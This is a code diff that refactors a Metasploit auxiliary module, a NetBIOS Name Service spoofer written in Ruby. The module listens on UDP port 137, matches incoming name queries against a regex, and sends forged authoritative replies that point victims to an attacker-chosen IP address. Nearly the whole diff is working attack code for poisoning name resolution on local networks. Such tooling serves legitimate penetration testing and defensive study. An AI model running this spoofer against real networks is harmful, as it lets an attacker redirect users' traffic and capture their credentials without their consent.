@@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
99
1010 include Msf ::Exploit ::Capture
1111
12+ attr_accessor :sock , :thread
13+
14+
1215 def initialize
1316 super (
1417 'Name' => 'NetBIOS Name Service Spoofer' ,
@@ -44,108 +47,144 @@ def initialize
4447 ] )
4548
4649 register_advanced_options ( [
47- OptBool . new ( 'Debug ' , [ false , "Determines whether incoming packet parsing is displayed" , false ] )
50+ OptBool . new ( 'DEBUG ' , [ false , "Determines whether incoming packet parsing is displayed" , false ] )
4851 ] )
4952
5053 deregister_options ( 'RHOST' , 'PCAPFILE' , 'SNAPLEN' , 'FILTER' )
54+ self . thread = nil
55+ self . sock = nil
5156 end
5257
53- def run
54- check_pcaprub_loaded ( ) # Check first since otherwise this is all for naught
55- # MacOS X workaround
56- ::Socket . do_not_reverse_lookup = true
58+ def dispatch_request ( packet , rhost , src_port )
59+ rhost = ::IPAddr . new ( rhost )
60+ # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
61+ # addr like "::ffff:192.168.0.1" when the interface we're listening
62+ # on has an IPv6 address. Convert it to just the v4 addr
63+ if rhost . ipv4_mapped?
64+ rhost = rhost . native
65+ end
5766
58- @sock = ::UDPSocket . new ( )
59- @sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
60- @sock . bind ( '' , 137 ) # couldn't specify srv host because it missed broadcasts
67+ # Convert to string
68+ rhost = rhost . to_s
6169
62- @run = true
70+ spoof = :: IPAddr . new ( datastore [ 'SPOOFIP' ] )
6371
64- print_status ( "NBNS Spoofer started. Listening for NBNS requests..." )
72+ return if packet . length == 0
6573
66- begin
74+ nbnsq_transid = packet [ 0 ..1 ]
75+ nbnsq_flags = packet [ 2 ..3 ]
76+ nbnsq_questions = packet [ 4 ..5 ]
77+ nbnsq_answerrr = packet [ 6 ..7 ]
78+ nbnsq_authorityrr = packet [ 8 ..9 ]
79+ nbnsq_additionalrr = packet [ 10 ..11 ]
80+ nbnsq_name = packet [ 12 ..45 ]
81+ decoded = ""
82+ nbnsq_name . slice ( 1 ..-2 ) . each_byte do |c |
83+ decoded << "#{ ( c - 65 ) . to_s ( 16 ) } "
84+ end
85+ nbnsq_decodedname = "#{ [ decoded ] . pack ( 'H*' ) } " . strip ( )
86+ nbnsq_type = packet [ 46 ..47 ]
87+ nbnsq_class = packet [ 48 ..49 ]
88+
89+ return unless nbnsq_decodedname =~ /#{ datastore [ 'REGEX' ] } /i
90+
91+ vprint_good ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } matches regex, responding with #{ datastore [ "SPOOFIP" ] } " )
92+
93+ if datastore [ 'DEBUG' ]
94+ print_status ( "transid: #{ nbnsq_transid . unpack ( 'H4' ) } " )
95+ print_status ( "tlags: #{ nbnsq_flags . unpack ( 'B16' ) } " )
96+ print_status ( "questions: #{ nbnsq_questions . unpack ( 'n' ) } " )
97+ print_status ( "answerrr: #{ nbnsq_answerrr . unpack ( 'n' ) } " )
98+ print_status ( "authorityrr: #{ nbnsq_authorityrr . unpack ( 'n' ) } " )
99+ print_status ( "additionalrr: #{ nbnsq_additionalrr . unpack ( 'n' ) } " )
100+ print_status ( "name: #{ nbnsq_name } #{ nbnsq_name . unpack ( 'H34' ) } " )
101+ print_status ( "full name: #{ nbnsq_name . slice ( 1 ..-2 ) } " )
102+ print_status ( "decoded: #{ decoded } " )
103+ print_status ( "decoded name: #{ nbnsq_decodedname } " )
104+ print_status ( "type: #{ nbnsq_type . unpack ( 'n' ) } " )
105+ print_status ( "class: #{ nbnsq_class . unpack ( 'n' ) } " )
106+ end
67107
68- while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
69- packet , addr = @sock . recvfrom ( 512 )
70- src_port = addr [ 1 ]
71- rhost = addr [ 3 ]
108+ # time to build a response packet - Oh YEAH!
109+ response = nbnsq_transid +
110+ "\x85 \x00 " + # Flags = response + authoratative + recursion desired +
111+ "\x00 \x00 " + # Questions = 0
112+ "\x00 \x01 " + # Answer RRs = 1
113+ "\x00 \x00 " + # Authority RRs = 0
114+ "\x00 \x00 " + # Additional RRs = 0
115+ nbnsq_name + # original query name
116+ nbnsq_type + # Type = NB ...whatever that means
117+ nbnsq_class + # Class = IN
118+ "\x00 \x04 \x93 \xe0 " + # TTL = a long ass time
119+ "\x00 \x06 " + # Datalength = 6
120+ "\x00 \x00 " + # Flags B-node, unique = whatever that means
121+ datastore [ 'SPOOFIP' ] . split ( '.' ) . collect ( &:to_i ) . pack ( 'C*' )
122+
123+ pkt = PacketFu ::UDPPacket . new
124+ pkt . ip_saddr = Rex ::Socket . source_address ( rhost )
125+ pkt . ip_daddr = rhost
126+ pkt . ip_ttl = 255
127+ pkt . udp_sport = 137
128+ pkt . udp_dport = src_port
129+ pkt . payload = response
130+ pkt . recalc
131+
132+ capture_sendto ( pkt , rhost )
133+ end
72134
73- break if packet . length == 0
135+ def monitor_socket
136+ while true
137+ rds = [ self . sock ]
138+ wds = [ ]
139+ eds = [ self . sock ]
74140
75- nbnsq_transid = packet [ 0 ..1 ]
76- nbnsq_flags = packet [ 2 ..3 ]
77- nbnsq_questions = packet [ 4 ..5 ]
78- nbnsq_answerrr = packet [ 6 ..7 ]
79- nbnsq_authorityrr = packet [ 8 ..9 ]
80- nbnsq_additionalrr = packet [ 10 ..11 ]
81- nbnsq_name = packet [ 12 ..45 ]
82- decoded = ""
83- nbnsq_name . slice ( 1 ..-2 ) . each_byte do |c |
84- decoded << "#{ ( c - 65 ) . to_s ( 16 ) } "
141+ r , _ , _ = ::IO . select ( rds , wds , eds , 0.25 )
142+ if ( r != nil and r [ 0 ] == self . sock )
143+ packet , host , port = self . sock . recvfrom ( 65535 )
144+ dispatch_request ( packet , host , port )
85145 end
86- nbnsq_decodedname = "#{ [ decoded ] . pack ( 'H*' ) } " . strip ( )
87- nbnsq_type = packet [ 46 ..47 ]
88- nbnsq_class = packet [ 48 ..49 ]
89-
90- if ( nbnsq_decodedname =~ /#{ datastore [ 'REGEX' ] } /i )
91-
92- vprint_good ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } matches regex, responding with #{ datastore [ "SPOOFIP" ] } " )
93-
94- if datastore [ 'DEBUG' ]
95- print_status ( "transid: #{ nbnsq_transid . unpack ( 'H4' ) } " )
96- print_status ( "tlags: #{ nbnsq_flags . unpack ( 'B16' ) } " )
97- print_status ( "questions: #{ nbnsq_questions . unpack ( 'n' ) } " )
98- print_status ( "answerrr: #{ nbnsq_answerrr . unpack ( 'n' ) } " )
99- print_status ( "authorityrr: #{ nbnsq_authorityrr . unpack ( 'n' ) } " )
100- print_status ( "additionalrr: #{ nbnsq_additionalrr . unpack ( 'n' ) } " )
101- print_status ( "name: #{ nbnsq_name } #{ nbnsq_name . unpack ( 'H34' ) } " )
102- print_status ( "full name: #{ nbnsq_name . slice ( 1 ..-2 ) } " )
103- print_status ( "decoded: #{ decoded } " )
104- print_status ( "decoded name: #{ nbnsq_decodedname } " )
105- print_status ( "type: #{ nbnsq_type . unpack ( 'n' ) } " )
106- print_status ( "class: #{ nbnsq_class . unpack ( 'n' ) } " )
107- end
108-
109- # time to build a response packet - Oh YEAH!
110- response = nbnsq_transid +
111- "\x85 \x00 " + # Flags = response + authoratative + recursion desired +
112- "\x00 \x00 " + # Questions = 0
113- "\x00 \x01 " + # Answer RRs = 1
114- "\x00 \x00 " + # Authority RRs = 0
115- "\x00 \x00 " + # Additional RRs = 0
116- nbnsq_name + # original query name
117- nbnsq_type + # Type = NB ...whatever that means
118- nbnsq_class + # Class = IN
119- "\x00 \x04 \x93 \xe0 " + # TTL = a long ass time
120- "\x00 \x06 " + # Datalength = 6
121- "\x00 \x00 " + # Flags B-node, unique = whet ever that means
122- datastore [ 'SPOOFIP' ] . split ( '.' ) . collect ( &:to_i ) . pack ( 'C*' )
123-
124- open_pcap
125-
126- p = PacketFu ::UDPPacket . new
127- p . ip_saddr = Rex ::Socket . source_address ( rhost )
128- p . ip_daddr = rhost
129- p . ip_ttl = 255
130- p . udp_sport = 137
131- p . udp_dport = src_port
132- p . payload = response
133- p . recalc
134-
135- capture_sendto ( p , rhost )
136-
137- close_pcap
138-
139- else
140- vprint_status ( "#{ rhost . ljust 16 } nbns - #{ nbnsq_decodedname } did not match regex" )
146+ end
147+ end
148+
149+ def run
150+ check_pcaprub_loaded ( )
151+ ::Socket . do_not_reverse_lookup = true # Mac OS X workaround
152+
153+ # Avoid receiving extraneous traffic on our send socket
154+ open_pcap ( { 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' } )
155+
156+ self . sock = Rex ::Socket . create_udp (
157+ 'LocalHost' => "0.0.0.0" ,
158+ 'LocalPort' => 137 ,
159+ 'Context' => { 'Msf' => framework , 'MsfExploit' => self }
160+ )
161+ add_socket ( self . sock )
162+ self . sock . setsockopt ( ::Socket ::SOL_SOCKET , ::Socket ::SO_REUSEADDR , 1 )
163+
164+ self . thread = Rex ::ThreadFactory . spawn ( "NBNSServerMonitor" , false ) {
165+ begin
166+ monitor_socket
167+ rescue ::Interrupt
168+ raise $!
169+ rescue ::Exception
170+ print_error ( "Error: #{ $!. class } #{ $!} #{ $!. backtrace } " )
141171 end
172+ }
173+
174+ print_status ( "NBNS Spoofer started. Listening for NBNS requests with REGEX \" #{ datastore [ 'REGEX' ] } \" ..." )
175+
176+ while thread . alive?
177+ IO . select ( nil , nil , nil , 0.25 )
142178 end
179+ print_status ( "NBNS Monitor thread exited..." )
180+ end
143181
144- rescue ::Exception => e
145- print_error ( "nbnspoof: #{ e . class } #{ e } #{ e . backtrace } " )
146- # Make sure the socket gets closed on exit
147- ensure
148- @sock . close
182+ def cleanup
183+ if self . thread and self . thread . alive?
184+ self . thread . kill
185+ self . thread = nil
149186 end
187+ close_pcap
150188 end
189+
151190end
0 commit comments